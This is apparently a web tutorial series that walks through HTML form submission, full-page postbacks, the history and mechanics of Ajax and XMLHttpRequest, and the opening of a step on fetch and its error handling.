An APIs series
Every client-side application eventually talks to something. This series is about your half of that conversation: the half you write, the half you can get wrong, and the half a framework will happily hide from you until the day it matters.
Step 01
The series overview promised to start where the platform already works, so here it is: a <form>, no JavaScript at all, and a real request to a real endpoint. Before you write a line of client code, the browser will read your named fields, encode them, choose a place to put them, attach headers you never wrote, send the request, handle the response, and update history so the back button does the right thing. Every step after this one takes a piece of that job away from the browser and gives it to you. This step is about knowing what you are taking.
method chooses between the query string and the request body, and why that is a privacy decision as much as a technical oneaction and method as a contract with a server, stated in markup/api/echo to see itrequired, pattern, type, maxlength) is for — and what it is notIt is easy to read a <form> as a layout of inputs that some script will eventually pick up. It is not. A form is a declarative HTTP client. Given a destination and a method, it collects its own named controls, encodes them, issues the request, and navigates to the response. It does all of that in a page with an empty <script> budget.
Press the button and the browser navigates to /api/posts?limit=3. Nobody assembled that URL; the form did, from the action and the value of the control named limit. The endpoint has no idea whether a human clicked a button, a script fired the request, or someone typed the URL by hand. It is the same HTTP either way.
Nothing in this series replaces that machinery. Everything in this series is a decision to take some part of it over, made for a reason, and paid for in code you now have to maintain.
method decides where the data goesA form serializes the same fields either way. What method changes is where that serialization ends up.
The fields become ?limit=3&q=forms, replacing any query string already on the action. A form pointed at /api/posts?sort=new submits as ?limit=3, not ?sort=new&limit=3.
That is part of the URL, so it is in the address bar, in browser history, in bookmarks, in server access logs, and on the screen of whoever is standing behind you. It is also in the Referer header on a same-origin navigation. Not on a cross-origin one: by default, strict-origin-when-cross-origin trims that header down to the bare origin unless a site deliberately opts back out with unsafe-url.
That visibility is a feature when the request is a question: the result is linkable, shareable, and refreshable. Asking the same question twice changes nothing, so a reload is harmless.
The fields become the body of the request, after the headers. They are not in the URL, so they do not land in history, logs, or referrers. They are still plaintext on the wire unless the connection is HTTPS. POST is not encryption.
Use it when the request is an instruction that changes something. Doing it twice does it twice. That is why the browser warns before re-submitting on a reload.
So the choice is made before it is technical. A search box takes GET because a search result deserves a URL. A password, an email address, or a note someone typed in confidence takes POST. A query string is one of the leakiest places on the web. It survives in places nobody audits.
The fields are the part you authored. They are a minority of the request. On a POST, the browser adds a Content-Type header: application/x-www-form-urlencoded by default, or whatever the form's enctype attribute names instead. A form carrying a file input ends up sending multipart/form-data. That header is the server's parsing instruction, the difference between a body that arrives as fields and a body that arrives as one meaningless string. The browser also adds an Accept header describing what it is willing to render, a User-Agent, a Content-Length, and, if the origin has any, the Cookie header. That last one is how a plain form on a logged-in site is an authenticated request without anything in the markup saying so.
You do not have to take that on faith, and you should not. In the demo further down, edit the POST form's action to point at /api/echo instead:
That endpoint's entire job is to reflect what it received. Submit, and the response is your request: method, path, query, every header, and the raw body, verbatim:
Read that as a template rather than a transcript: the values are abridged, and the header set is the interesting part of a real one, not all of it. The cookie line in particular appears only when the origin has cookies set for it. Run the echo yourself and see whether this one does.
Keep /api/echo in reach for the rest of the series. Once you are building requests by hand, the gap between what you meant to send and what you actually sent is where most of the debugging time goes. The echo closes it in one submit instead of an afternoon.
The page in the frame below has no fetch, no XMLHttpRequest, and no event handlers. Submit the GET form and watch the frame navigate to real JSON with a query string it did not write by hand. Submit the POST form with a title and get a 201 back.
HTML gives you a real validation vocabulary for free. required refuses an empty field. type="email" and type="number" check shape and, on touch devices, summon the right keyboard. pattern takes a regular expression. min, max, and step bound a number or a date. maxlength stops the typing.
This is valuable, and the reason is specific: the mistake is caught in the same second it was made, next to the field that caused it, with no round trip, no page reload, and no lost form state. A server error message arriving three seconds later, at the top of a re-rendered page, is a strictly worse version of the same information. Use all of it.
What it is not is a boundary. Every constraint listed above is enforced by code running on a machine the user controls, in a document the user can edit. DevTools deletes the required attribute in one keystroke. curl never parsed your markup and does not know the attribute exists. A script on the page can call form.noValidate = true, or simply skip the form and issue the request directly. None of this is exotic.
Read that pairing as the design, not as redundancy. The client-side rule makes the common case pleasant. The server-side rule makes the uncommon case survivable.
Before moving on, take an honest inventory of what the browser is doing for the page in that frame. It serializes the fields. It picks the encoding and declares it. It issues the request and waits without blocking anything you own. It handles the response, including redirects and errors. It navigates, pushes an entry into session history, and makes the back button work. It restores the form when a user comes back to it. It reports failures in a way users already recognize. Not one line of that is your code, and not one line of it has a bug you have to fix.
Every step after this one re-implements a piece of that list by hand, and each re-implementation is an opportunity to do it worse. Step 03 buys a page that survives its own requests: the scroll position, the focus, and the half-typed field are all still there when the answer arrives. It hands back the URL, the history entry, and the back button. Step 05 buys a clean promise-based API, plus a failure mode where a 404 looks like a success until you check. Step 07 is an entire step about problems the form never had.
In Step 2: The postback problem, we look hard at what that free machinery costs:
Step 02
Step 01 left the form working and unmodified, which is the honest place to start: it talks to the server, it needs nothing from you, and it is hard to beat. This step is about the shape of the answer it gets back. A form submission is a navigation, and the response to a navigation is a whole new document. Not the part that changed, the whole thing. Everything the old document was holding goes away with it. That trade was invisible for a decade because it was the only trade on offer.
Before there was any other option, an application was a set of pages. A filter, a sort, a page of results, a saved edit, a checkbox: every one was a link or a form. Following it meant leaving the page you were on. The industry word for it was the postback. The page submits back to itself, the server reads what you asked for, and the response is the next version of the page.
The loop is short enough to write in one line. The user acts, the browser issues a request, the server does whatever work the action implies, the server renders an entire HTML document, the browser throws away the document it had and builds the new one. Then it waits for the next action and does it again.
That is the entire client. There is no code in it, as step 01 showed. Look at the other half of the exchange, what comes back:
Read the Content-Length next to the request that produced it. The question was eight characters long. The answer was a building.
"Slow" is not a useful description of this, because a postback on a fast server over a fast link is not slow. The costs are specific, and some of them survive even when the server answers in a millisecond.
The document comes back in full every time, whether one list item changed or none did. A page of any real complexity is tens of kilobytes of HTML before the interesting part; the interesting part is often a few hundred bytes. That ratio is the number to hold on to. Every later technique in this series is an attempt to send only the second number.
Be careful how far you push that argument. One part of it stopped being true a long time ago. The subresources usually do not come back: a stylesheet, a script bundle, or a logo with a long Cache-Control lifetime is served from the browser's own cache without a request going out at all. Compression takes a further bite out of what remains. So the honest version of the complaint is narrower than the folklore: what repeats is the HTML document and the server work that produced it, not the whole page weight. That is still the wrong thing to repeat, and it is usually the most expensive thing on the page to generate.
The classic symptom was the white flash: the old page disappearing, the window going blank, the new page painting in from the top. That specific symptom is largely gone. Chrome has held the previous page's pixels on screen across same-origin navigations since 2019 rather than blanking, and cross-document view transitions now let a site animate the swap deliberately. If you learned that postbacks flash white, check it in a current browser before you repeat it.
What did not go away is the wait itself. The old document stays live for the whole of it. It scrolls, it accepts keystrokes, and clicking a different link will cancel the navigation you started. Nothing the user does in that window is remembered: the document that would have remembered it is already on its way out, and the one that would honor it does not exist yet. Type into a field during a postback and the keystrokes land somewhere that is about to be discarded. The gap is at least network latency plus server render time. Queueing, time to first byte, and parsing the new document all add to it. And it happens on every interaction, not just the expensive ones.
This is the part that is easy to underrate, because each item sounds minor and the list does not.
sessionStorage, or the server.Read that last one as a design constraint. In this model the URL is the application's memory. State that is not in the URL, or in something the server can look up from the URL, does not exist after the next click.
The page below is the step 01 feature rebuilt as a postback. The form has no action, so it submits to its own URL; changing the limit is therefore a full navigation, and the frame loads a whole new document.
Do it in this order, because the order is what makes the cost visible. One: type something into the field marked Notes (not submitted). Two: scroll all the way down to the bottom marker, where the limit control is waiting. Three: change the limit and press Apply.
You land back at the top of the page. The notes field is empty. The load counter in the dark strip has gone up by one, because that counter is in sessionStorage. A plain variable would have been zeroed along with everything else. The page will tell you, in pixels and characters, what it was holding before you pressed the button.
Notice what it took for that page to be able to report its own losses: it had to write two numbers to sessionStorage on the way out and read them back on the way in. That is a handful of lines to produce a description of state that the browser used to just keep. Recovering the state itself costs considerably more. The rest of this series is largely about paying for it.
It would be easy to read the previous two sections as an indictment. They are not. For a document, this design is not a compromise people put up with until something better arrived. It is correct, and it is still correct.
A document has one job: to be read, and to be findable and referenceable afterward. The page-per-URL model does that job exactly. Every view has an address. The address can be linked, bookmarked, mailed, cited, indexed by a search engine, opened in fifteen tabs, or printed. Find-in-page works because the content is in the document. The back button works because the browser knows where you were. None of it requires a line of JavaScript, so none of it breaks when the JavaScript fails to load, throws, or is turned off. An enormous amount of the web is documents: reference material, news, documentation, most of a course site, this page. For all of it, the correct architecture is the one described above.
Two things move an interface out of that range, and it takes both:
Either one alone is survivable. Together they are the whole problem: a filter that changes eight list items should not cost a whole document, and if the user is going to change that filter forty times in a sitting, it especially should not.
What happened next is not a story of steady improvement. The techniques in the following steps solved the round-trip problem. Then, for about a decade, a great many applications used them to break every single item in the "for free" list above: URLs that described nothing, back buttons that did nothing or the wrong thing, pages that could not be bookmarked or shared, content that was invisible without JavaScript. The postback did not lose an argument. It got replaced, unevenly, by something faster that had to spend the next fifteen years re-learning what it had thrown out.
That is the question the next step answers. Pause on it first: the answer is yes, and yes is the easy part.
If the page could issue the request itself, the response could be just the data: the eight list items, not the building. The page would still be there when the answer came back, so the scroll position, the focus, the notes field, and every variable the page had computed would still be there too. That much follows immediately, and it is a large win.
What follows a moment later is the bill. The browser was not only transferring bytes on that navigation. It was also deciding when the page had changed, telling the history stack about it, updating the address bar, making the back button mean something, reporting failures in a way users recognize, and announcing a new document to assistive technology. Take over the request and you have taken over all of that too, whether or not you have noticed:
Every line in that comment block is a real step in this series, and none of them is optional in a real application. "Can we do the communication ourselves?" has an obvious answer. The question step 01 ended on is the harder one: what was the browser doing here that you are now responsible for, and are you going to do it as well?
Step 03 is where the answer starts arriving, and where the name for all of this gets attached.
In Step 3: Ajax appears, the page makes the request itself for the first time:
Step 03
Step 02 ended on a question: can the page do the communication itself? The answer is yes, it has been yes since 1999, and the code fits on one screen. This step writes that code and watches the same feature update without a reload for the first time in this series. Then it does the harder half: adding up what the browser quietly stopped doing the moment the page took the request away from it. A step that showed you only the code would be teaching you to write the decade of broken applications that followed.
open, send, state callback, response, DOM — and say what is happening at each movementOn 18 February 2005, Jesse James Garrett published an essay at Adaptive Path called Ajax: A New Approach to Web Applications. It argued that a handful of technologies already present in every browser added up to an approach: the DOM, JavaScript, CSS, and an object for making HTTP requests from script. It gave that approach a word. He spelled it Ajax, as a name rather than an initialism, which turned out to be the right instinct.
Nothing in the essay was new. The interesting thing about this date is not an invention.
The lineage runs back most of a decade. Internet Explorer introduced the <iframe> in 1996, and people immediately started hiding one, pointing it at a script-generated page, and reading the result. The same trick worked with a hidden frame in a frameset. Microsoft shipped a feature called remote scripting in 1998, and libraries with names like JSRS (JavaScript Remote Scripting) circulated for years. Then the Outlook Web Access team built the object that mattered: XMLHTTP, shipped as an ActiveX control in MSXML 2 with Internet Explorer 5.0 in March 1999. Mozilla reimplemented it as a native JavaScript object under the name XMLHttpRequest, Safari and Opera followed, and Internet Explorer 7 finally exposed it natively in 2006. By the time the essay appeared, the technique was nearly six years old and had already shipped in a mass-market Microsoft product.
What 2005 added was a noun. That sounds like the least significant possible contribution and it was not. Before the word, this was a collection of tricks with no collective identity: you could do it, but you could not put it in a job posting, title a book with it, propose a conference talk about it, or argue with a colleague about whether it belonged in a project. "Should this screen use Ajax?" is a question a team can actually have. "Should this screen use the hidden-iframe thing, or the ActiveX control, or the one Mozilla added?" is not a question. It is a shrug.
The other half of the mechanism is chronology, and it is easy to get backwards. The essay did not set off a wave of applications. The applications came first, and the essay is about them. Gmail shipped in April 2004. Google Suggest shipped in December 2004. Google Maps shipped on 8 February 2005, ten days before the essay, which names all three as its evidence. By the time the word existed, a great many people had already dragged a map that did not reload and watched a search box answer them as they typed. What they did not have was a term for it. Garrett did not announce a technique. He named one everyone had already seen working. That is why the name traveled as fast as it did.
What did not travel intact was the acronym.
Ajax was shorthand for Asynchronous JavaScript and XML. Two of those three have held up.
The object's own name is the fossil left behind. XMLHttpRequest will still parse an XML response into a document for you and hand it back on responseXML, and approximately nobody uses that property. In 2005 the JSON half was not free either: JSON.parse did not become a built-in until ES5 in 2009, so period code either loaded Douglas Crockford's json.js or, far too often, ran the response body through eval. That is as bad an idea as it sounds. Step 07 returns to why.
Here is the whole thing, in eight movements. Read it as choreography rather than as a program: the order the lines appear in the file is not the order they run in, and getting comfortable with that gap is most of what this step is teaching.
Something has to start it. In the postback version this was a form that submitted; here it is the same form, intercepted. The preventDefault call is the single line that stops step 02 from happening.
Keeping the <form> rather than reaching for a bare button is deliberate. The form still gives you the label associations, the Enter key, and the submit semantics. You are borrowing its behavior and declining one specific part of it.
What it does not give you for free is a working page when the script never loads. Keeping the element leaves you the shape of a fallback, the markup a browser already knows how to submit. But this form has no action and no method, so with scripting off it submits nowhere and the control does nothing. Turning that shape into a fallback means giving the form a real action and having a server ready to answer it. That is work, and it is the last item on the bill below.
A navigation does not need a target, because the target is the entire document. The moment you issue the request yourself you have to name the region you intend to replace. You are now responsible for everything inside it.
Note what that markup implies: there is content in there already. The list arrives with the page, so it is readable before a line of script runs and readable if the script never runs. That is a choice. It is the difference between enhancing a page and requiring JavaScript to see anything at all.
One line today. In 2005 it was five, because Internet Explorer 5 and 6 had no such global and required an ActiveX control instead. Every Ajax tutorial of the era opened with some version of this, and a surprising amount of it is still sitting in codebases:
That block is a browser-support question that was live and expensive in 2005 and is gone now. If you find it in a file you are maintaining, delete it. It carries no risk.
Three arguments: the method, the URL, and whether the request is asynchronous. Despite the name, open does not open anything on the network. It configures the object; nothing is sent. This is also where the query string gets built. Note that encodeURIComponent is doing a job the form in step 01 did for free.
The third argument defaults to true and should be left that way. Passing false is the synchronous mode described above: the browser stops running your page until the answer arrives.
This is where the request goes out. What happens next is nothing. It returns immediately, usually before the server has heard of the request. The next statement runs while the request is still in the air. Any code that assumes the answer is available on the following line is wrong. Later steps reach for promises and await because this is hard to keep straight by hand.
A GET sends no body, so the call takes no argument. A POST body goes here, which is step 06's subject.
Since the answer does not arrive on the next line, you leave instructions for when it does.
The handler is assigned before send and runs after it, potentially several times, as the request moves through its states. Nearly all real code checks for 4 and ignores the rest. That is defensible: state 2 only tells you the headers landed, and state 3 fires repeatedly while the body streams in, which is useful for a progress bar over a large download and for nothing else most days.
Two footnotes that step 04 makes into a whole section. First, this is not the modern way even within XMLHttpRequest: it has had ordinary load, error, and timeout events for well over a decade, and they are better in every respect. Second, readyState === 4 means finished, not succeeded. A 500, a 404, a failed connection, and a request you canceled yourself all arrive here.
responseText is a string: the raw body, as it came off the wire. JSON.parse turns it into data. The status check separates "the exchange completed" from "the exchange completed and the server said yes." Those are not the same fact.
One value deserves naming now because it confuses everyone once: status === 0. That is not a status code the server sent; it means no response line was ever received. A request you aborted, a connection that failed, and a cross-origin request the browser refused to let you read all present as 0. Step 04 is about telling those apart.
This movement has no counterpart in the postback version, because there the browser did it. Everything about it is now a decision you are making: which element, replaced or appended, in what order, and whether the values coming back from the server are inserted as text or as markup. That last one bites. textContent treats the response as the untrusted input it is. innerHTML treats it as code you wrote. Step 07 spends real time on the difference. Use textContent now.
The page below is the step 02 demo with one thing changed: the form is intercepted, and the eight movements above run instead of a submission. The instrumentation strip is in the same place and reports the same measurements as step 02's, plus two the postback version had no use for. Requests this page has made only counts above zero once a script is issuing them. Query string in the address bar only becomes interesting once it has stopped changing. One difference to note before you start: this demo opens showing all eight posts, where step 02's opened showing three.
Run the same experiment in the same order. One: type something into Notes (not submitted). Two: scroll all the way down to the bottom marker. Three: change the limit and press Apply.
Nothing moved. You are still at the bottom of the page, the notes field still has your text in it, and the list below the control has different rows in it than it did a second ago. In the strip at the top, Document loads this session has not budged. It reads 1 on a first visit, and whatever it reads when you arrive is what it will read when you leave. This document was built at still shows, to the millisecond, the moment you got here. Same document, still running, still holding everything it was holding. Press Apply four more times and both of those stay where they are while Requests this page has made climbs.
One field in that strip is there to spoil the mood, and you should look at it now rather than in the next section: Query string in the address bar. It says (none). It said (none) when you arrived and it will still say (none) after you have changed the list five times. In step 02 the query string was the application's memory. The ?limit=5 in the address bar was the only record of what you had asked for, and the only thing the next document had to go on. Here it has stopped describing the page at all.
The demo above is about two dozen lines of request handling, and for one interaction on one page it is fine. The trouble is that nobody stops at one. The second interaction is another fifteen lines shaped almost the same way; by the tenth, the page has ten hand-rolled request paths, ten ways of showing that something is loading, and ten opinions about what the screen should say when the server is down. There is no architecture in that code, because nothing about the technique suggested one.
That is the road the industry actually walked down between roughly 2005 and 2010, and the destination was the client-side framework. If you have ever wondered why every framework of the last fifteen years arrives with opinions about models, views, state, and routing baked in before you have written a line: this is why. Those are the pieces that fell on the floor when the page took over the request. A framework is an offer to pick them up for you.
The critics said so at the time, and they were largely right. Ajax obviously worked. The objection was that it was being sold as a small change to a page when it was a large change to an architecture, and that the bill would arrive later and be paid by users. It did, and it was. Here is the bill, itemized. Every line is something the browser was doing for the page in step 02 without being asked.
XMLHttpRequest. There is status === 0, and whatever you decide to do with it.<ul> announces nothing at all: focus stays where it was, no document loaded, and as far as assistive technology is concerned the page is exactly as it was. The demo pays for the cheapest corner of this: one role="status" on the line under the button, so a short report of the result is spoken. Note what that is and is not: it announces the message in that one line, not the fact that the list mutated. One attribute is more than a great deal of shipped software manages. It is still not the same as doing this properly.<form> has no action and no method, so if the script fails to load, throws on the way in, or is turned off, pressing Apply does nothing at all. Its own <noscript> says so. Note how narrow the loss is and is not: the eight posts are still readable, because they came with the document. The control is gone. Getting it back means giving the form a real action pointing at a URL a server will answer, and then intercepting that form rather than inventing one. That is the whole of progressive enhancement, and a second code path to build and keep working.Two of those had no first-class solution in 2005 and do now. That difference matters: the 2005 limits were not a permanent state of affairs. There was no history.pushState then, so keeping the URL honest meant abusing fragment identifiers: the part of the URL after the #, which the browser records in history but never sends to the server. Google published an entire "Ajax crawling scheme" in 2009, the source of that era's #! URLs, so that such pages could be indexed at all, then deprecated it in October 2015 once its crawler could render JavaScript. Today the History API is universal and the major search engines run your script. The platform has handed back the tools for two items on that list. It has not handed back the behavior, and cannot. Every line above is still code somebody has to write, remember to write, and get right.
The conclusion is not "do not do this," which would be a strange thing to argue on a page you are reading in a browser that would be unusable without it. It is narrower: you do not have to take the whole bundle apart to fix one interaction. A page can be an ordinary document-shaped page, with real URLs and a working back button, and still update one list in place when a filter changes. The mistake of the late 2000s was not using Ajax. It was concluding that because one interaction wanted it, the whole application should be rebuilt around it. Then came a decade of rediscovering why the browser had been doing all of that.
A step that ended on the section above would be dishonest by omission. Ajax won for reasons, the reasons are still good, and three of them are measurable rather than aesthetic.
/api/posts; then compare it with the size of the document itself. The ratio is the whole argument, and you can measure it. When this was written the demo document was about 23 KB and the JSON for three posts was 448 bytes. Both of those numbers compress on the way to you, so the column to read is the transfer size rather than either raw figure.sessionStorage just to describe what it had lost. This one needs no code at all to keep it.And then the category that is not an improvement on the postback but an escape from it: interactions that cannot exist as a navigation at all. Type-ahead suggestions that update while you are still typing. A draft that saves itself every few seconds without interrupting you. A username field that says "taken" before you reach the next field. Infinite scroll, live validation against a server, a dashboard that keeps its own numbers current. None of these is a faster version of a round trip. None has a page-per-URL equivalent, because they all require the page to still be here afterward.
So here is the rule that decides this in practice. The judgment is per interaction, not per application. The question is never "is this an Ajax app?" That framing is how the last section's mistakes got made. Ask instead: for this control, on this screen, does the result deserve its own URL that someone might share or return to, and does the user do it often enough that a round trip is in the way?
A search that produces a results page: give it a URL, let it be a navigation. A checkbox that reorders that page's results, which the same user will tick and untick eleven times in a minute: make the request from the page. Both of those can be true on the same screen. The best-behaved applications on the web made that call one control at a time.
Step 03 used XMLHttpRequest the way 2005 used it. In Step 4: XHR up close, we stop using it and start reading it:
open and send in full: every argument, what is legal before and after each call, and what actually goes on the wirereadyState and the event model that replaced it: load, error, abort, timeout, and progress, and why onreadystatechange survives only in old codestatusText, and reading response headers, including the ones you are not allowed to see, and whyabort and timeout as a first look at controlling a request you have already sentfetch exists: it is in code you will be asked to maintain, and it still reports upload progress, which fetch has no portable equivalent forStep 04
Step 03 used XMLHttpRequest the way 2005 used it: onreadystatechange, a check for readyState === 4, and JSON.parse on responseText. That code runs. Nobody has written it on purpose in a long time. This step goes through the object a piece at a time and names what replaced each one. Some of it you will still use. Most of it is in code somebody will ask you to maintain.
open takes, and say what open does not dosetRequestHeader correctly, and say what happens when you place it wronggetAllResponseHeaders(), and name the headers that are missing from it and whyreadyState values, and say which one still earns a checkload, error, timeout, abort, and loadend insteadstatus === 0 means and name its three causesxhr.timeout, call xhr.abort(), and bridge an AbortSignal to both by handxhr.upload, and say why fetch has no portable equivalentXMLHttpRequest has a small surface: six methods and about a dozen properties. Several of them are only legal at particular moments. Get the order wrong and the object throws.
open configures. It does not open anything.open('GET', url, true) sets the method, the URL, and whether the request is asynchronous. Nothing goes on the network. The name comes from a design that was once closer to a socket.
The full signature takes five arguments: open(method, url, async, username, password). The last two are HTTP Basic credentials. Don't use them. They put a password in your JavaScript and they only reach servers still doing Basic authentication.
The third argument defaults to true. Passing false makes the request synchronous, which blocks the main thread until the server answers. It is deprecated, it still runs, and current browsers warn about it in the console. Don't write it.
setRequestHeader has one legal windowAfter open, before send. Outside that window it throws InvalidStateError.
Two behaviors catch people out. Calling it twice with the same header name appends rather than replaces: two calls setting Accept produce one header carrying both values, joined by a comma and a space. And a list of header names is forbidden to script, including Host, Connection, Content-Length, Origin, Referer, Cookie, and anything starting with Proxy- or Sec-. Setting one of those does not throw. The call returns, the header is not set, and the browser prints a refusal in the console, where nobody is looking. The demo below does this on purpose.
send is the only line that touches the networksend(body) puts the request on the wire and returns immediately, usually before the server has heard of it. GET and HEAD ignore the body argument. What belongs in that argument is step 06.
getResponseHeader(name) is case-insensitive and returns null when the header is absent. getAllResponseHeaders() returns the whole set as one string. Lines are separated by CRLF and names come back lowercased, whatever case the server used.
It is a string, not an object, so you parse it yourself.
Headers are missing from that list even same-origin. Set-Cookie is never handed to script in any browser, so a cookie the server just set is invisible to the code that asked for it. Cross-origin the list collapses to seven names: Cache-Control, Content-Language, Content-Length, Content-Type, Expires, Last-Modified, and Pragma, plus whatever the server chooses to name in Access-Control-Expose-Headers. The demo below runs same-origin and prints everything it is allowed to. Step 08 runs the same call against a second origin and prints the short version.
responseType decides what you get backSet xhr.responseType = 'json' and the browser parses the body for you. Your code reads xhr.response and there is no JSON.parse call anywhere in it. A body that will not parse yields null instead of throwing, which moves that failure from a try block to an if. MDN puts responseType at Baseline widely available, in every major browser since November 2016.
Setting it has one consequence to know about in advance. responseText then throws InvalidStateError. responseText is readable only when responseType is '' or 'text'. Any library reading responseText behind your back breaks the moment you set the property. The demo below runs into this and says so on the page.
readyState, and why you stopped needing itreadyState reports where the object is. Five values.
0 UNSENT. Constructed. open has not been called.1 OPENED. open has been called. setRequestHeader is legal from here until send.2 HEADERS_RECEIVED. The status line and the headers have arrived. status and getAllResponseHeaders() are readable.3 LOADING. The body is arriving. readystatechange fires repeatedly while readyState sits here, once for each chunk the browser hands over.4 DONE. The exchange is over. Success and every kind of failure both land here.onreadystatechange fires on every transition, so most of the calls have nothing in them for you. So every example from the era opens by checking for 4 and returning.
XMLHttpRequest Level 2 replaced the arrangement with named events.
loadstart fires once, when send is called.progress fires while the response body arrives, with loaded and total attached. Same information as state 3, with numbers.load fires when the exchange completed. Any status.error fires when it did not complete: DNS failure, connection refused, a cross-origin block.timeout fires when xhr.timeout elapsed first.abort fires when your code called xhr.abort().loadend fires after whichever of the previous four ended the exchange. Always. Cleanup goes here.Exactly one of load, error, timeout, and abort fires per request, then loadend. The readyState version has to reach state 4, read status, and infer which of the four happened. The events say so directly.
None of this is new. Internet Explorer 10, released in 2012, was the last major browser to add these events. Everything else had them earlier.
status is not successload fired. The exchange completed. Nothing more.
A 404 fires load. A 500 fires load. A 403 fires load. The server answered in every one of those cases, and an answer is what load is for. Checking the status is a separate line you have to write.
status === 0 confuses everyone once. No server sends 0. It means no status line was ever handed to your code, and there are three ways to arrive there.
abort(). Your own code canceled the request.The events separate two of them: abort for the first, error for the other two. A cross-origin block presents as a network failure. From the page's side, it is one. Step 08 is about living with that.
statusText carries the reason phrase over HTTP/1.1, OK or Not Found. HTTP/2 and HTTP/3 removed the reason phrase from the protocol, so over those connections it is an empty string. This site is served over HTTP/2. The demo below prints the value quoted, and it reads "". Do not build anything on it.
fetch looks at the same facts and draws its success line somewhere else. Step 05 argues that out.
With no timeout, a request waits as long as the connection stays open. xhr.timeout is a number of milliseconds and defaults to 0, which means no limit. Set it whenever you like. The object has no ordering rule for it, and open does not reset it. Old Internet Explorer did require it after open. Most code still puts it there out of habit.
When it elapses the object fires timeout, then loadend, and status is 0. The server may still be working on the request. A client timeout tells the server nothing.
Setting timeout on a synchronous request in a document throws InvalidAccessError. You are not writing synchronous requests, so this will not come up.
xhr.abort() stops the request. It fires abort, then loadend, and leaves status at 0. Calling it on an object that has not been sent does nothing and fires nothing.
A user can press a control faster than a server can answer, and two answers in flight can arrive in either order. Holding a reference to the request and aborting it before starting the next one is the smallest correct fix, and it is what the step 03 demo was already doing. Step 07 does it properly.
XMLHttpRequest shipped with both of these. fetch shipped with neither. AbortController reached the last of the three major engines in 2019 and gave fetch cancellation. AbortSignal.timeout() reached all three in 2022 and gave it a deadline. Step 05 covers both.
xhr.upload is a second event target hanging off the same object. It fires the same event names for the request body going out that xhr fires for the response coming in. Listen on xhr for the download, on xhr.upload for the upload.
A progress event carries three values. lengthComputable is true when the total is known. loaded is the bytes sent so far. total is the size of the whole body. When lengthComputable is false, total is 0 and you have no denominator to divide by.
How many events you get depends on the connection. The XMLHttpRequest standard puts a ceiling of roughly one event every 50 milliseconds and sets no floor at all. An 8 MB body to a server on the same machine finishes in a single event with loaded === total. A 20 MB file over hotel wifi fires hundreds. Write the handler so that one event is a valid run.
fetch can and cannot do herefetch handles download progress fine. response.body is a ReadableStream, and counting bytes as you read it gives you the same numbers. Upload is the gap, and it is the reason XMLHttpRequest is still on the table in 2026.
Sending a ReadableStream as a request body requires the duplex: 'half' option. That shipped in Chromium 105 and exists in no other engine. Firefox has had the bug open since 2017. Safari accepts a stream on a Request object and then refuses to send it through fetch.
Even in Chromium the restrictions rule out most of the cases you would want it for: HTTPS only, HTTP/2 or HTTP/3 only, always preflighted, and only 303 redirects are followed. What you would be counting is bytes your code handed to the browser, not bytes that reached the server. Those two numbers separate as soon as anything buffers.
If a user is uploading something big enough that a progress bar matters, use XMLHttpRequest.
The step 03 demo, rewritten. Every event the object fires is written to a log in the order it fires. responseType is 'json', so nothing on the page calls JSON.parse. getAllResponseHeaders() is dumped verbatim. A second control posts a large body so xhr.upload has something to report. The instrumentation strip carries over from steps 02 and 03, with one field added: which event ended the last request.
Four things to run, in any order.
timeout fire. Choose /api/slow?ms=5000, set the timeout to 1000, press Send. The log shows loadstart, timeout, loadend. No load, no error.abort fire. Choose /api/slow?ms=5000 with the timeout back at 0, press Send, then press Abort it. The panel at the bottom records the request with status 0, the same value the timeout left.statusText. The demo prints it quoted, under the header dump, next to the protocol the response arrived on. Here it reads "" over h2. Run the same page under wrangler dev, which speaks HTTP/1.1, and it reads "OK". Same server, same handler, same status code.The header dump is the same-origin case from the section above. Count the lines, then remember the number when step 08 makes the same call across origins.
If something stops you from using fetch, this is the XMLHttpRequest to write.
Five differences from step 03's version. Events instead of onreadystatechange. responseType = 'json' instead of JSON.parse. A timeout with a real number in it. One AbortController holding every listener, so the whole set comes off in a single call. And an AbortSignal bridged by hand, because the object predates it.
A 404 resolves that promise. A dropped connection rejects it. Hold on to that shape for step 05. fetch makes the same call and takes constant criticism for it.
Then stop writing it. fetch does this in fewer lines and composes with await. Step 05 writes the same function again and then spends the rest of the step on the decision everyone trips over.
Step 5: fetch, and what changed puts the two side by side and takes the argument that step 04 kept deferring:
fetch, next to the XMLHttpRequest abovefetch resolves on 404 and 500, and rejects only when the exchange did not completeresponse.ok, and where the line between an error and data actually belongsAbortSignal.timeout() and AbortSignal.any(): a deadline and a cancel, combined without either one knowing about the otherRequest and Response as objects you can construct, pass around, and clone, and the body you can only read oncefetch still does not doStep 05
Step 04 ended with a 45-line function that wraps XMLHttpRequest in a promise. Most of those lines translate events into promise outcomes. fetch does that translation itself, and the same function comes out at 18 lines. It also puts the error/data line in a place that surprised people. It has taken criticism for that since 2015. Step 04 set that argument up and left it alone.
fetch and name the lines that disappearedresponse.ok tests and what it does notfetch promise, and the ones that do notfetch's three exception names into one error type with one kindAbortSignal.timeout() and combine it with a caller's cancel using AbortSignal.any()Response body once, say what the second read does, and use clone() when two things need itfetch still does not dofetch shipped in Chrome 40 in January 2015 and Firefox 39 that July. Safari was last, in 10.1, on 27 March 2017. It has been available everywhere for nine years.
Here is step 04's function, abridged to 21 lines. A promise constructor wrapping the object, five listeners, an AbortController holding all five so one call removes them, and a bridge from AbortSignal to xhr.abort() written by hand because the object predates signals.
The same request, the same result, on fetch.
The promise constructor, the five listeners, the controller, and the bridge are gone. fetch takes an AbortSignal as an option, so there is nothing to bridge.
You still write the status check, the parse, and the failure decision. Two lines in that function are wrong. await response.json() throws on a body that will not parse, and nothing in it can tell a timeout from a cancel. The next three sections fix both.
fetch does not reject on 404 or 500A fetch promise resolves whenever the exchange completed. A 403, a 404, and a 500 all completed. The promise rejects when there is no response to hand you.
Five things reject it. MDN's Exceptions list names AbortError, TypeError, and a NotAllowedError for two APIs you are not using. It does not name TimeoutError, because the rejection value for any aborted fetch is whatever the signal's reason is, and AbortSignal.timeout() sets that reason to a TimeoutError DOMException.
AbortError, a DOMException. Your code called abort() on a controller whose signal you passed.TimeoutError, a DOMException. A deadline from AbortSignal.timeout() elapsed. Both of these arrive through the signal option, and they are not the same exception.TypeError, network error. DNS did not resolve, the connection failed, the machine is offline, or the browser blocked a cross-origin read. Chrome's message is Failed to fetch for all of them.TypeError, bad URL. The URL will not parse, or it carries a username and password.TypeError, bad options. A property on the init object has a value fetch will not accept.No status code appears in that list. response.ok is true when status is 200 through 299 and false for everything else. You have to read it.
